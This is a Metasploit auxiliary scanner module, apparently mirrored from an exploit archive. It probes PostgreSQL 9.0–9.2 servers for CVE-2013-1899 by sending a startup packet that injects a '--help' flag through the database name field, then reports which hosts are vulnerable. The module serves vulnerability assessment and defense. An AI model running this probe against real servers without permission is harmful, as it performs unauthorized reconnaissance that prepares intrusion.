## https://sploitus.com/exploit?id=PACKETSTORM:180960
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
# Creates an instance of this module.
def initialize(info = {})
super(update_info(info,
'Name' => 'PostgreSQL Database Name Command Line Flag Injection',
'Description' => %q{
This module can identify PostgreSQL 9.0, 9.1, and 9.2 servers that are
vulnerable to command-line flag injection through CVE-2013-1899. This
can lead to denial of service, privilege escalation, or even arbitrary
code execution.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-1899' ],
[ 'URL', 'https://www.postgresql.org/support/security/faq/2013-04-04/' ]
]
))
register_options([ Opt::RPORT(5432) ])
end
def run_host(ip)
request =
"\x00\x03\x00\x00" +
"user\x00" +
Rex::Text.rand_text_alpha(rand(4)+4) + "\x00" +
"database\x00" +
"--help\x00" +
"application_name\x00" +
Rex::Text.rand_text_alpha(rand(4)+4) + "\x00\x00"
connect
probe = [request.length + 4].pack("N") + request
sock.put(probe)
resp = sock.get_once(-1, 5)
if resp.to_s =~ /process_postgres_switches/
proof = resp[4, resp.length-4].to_s.gsub("\x00", " ")
print_good("#{rhost}:#{rport} is vulnerable to CVE-2013-1899: #{proof}")
report_vuln({
:host => rhost,
:port => rport,
:proto => 'tcp',
:sname => 'postgres',
:name => self.name,
:info => "Vulnerable: " + proof,
:refs => self.references
})
elsif resp.to_s =~ /pg_hba\.conf/
print_error("#{rhost}:#{rport} does not allow connections from us")
else
print_status("#{rhost}:#{rport} does not appear to be vulnerable to CVE-2013-1899")
end
end
end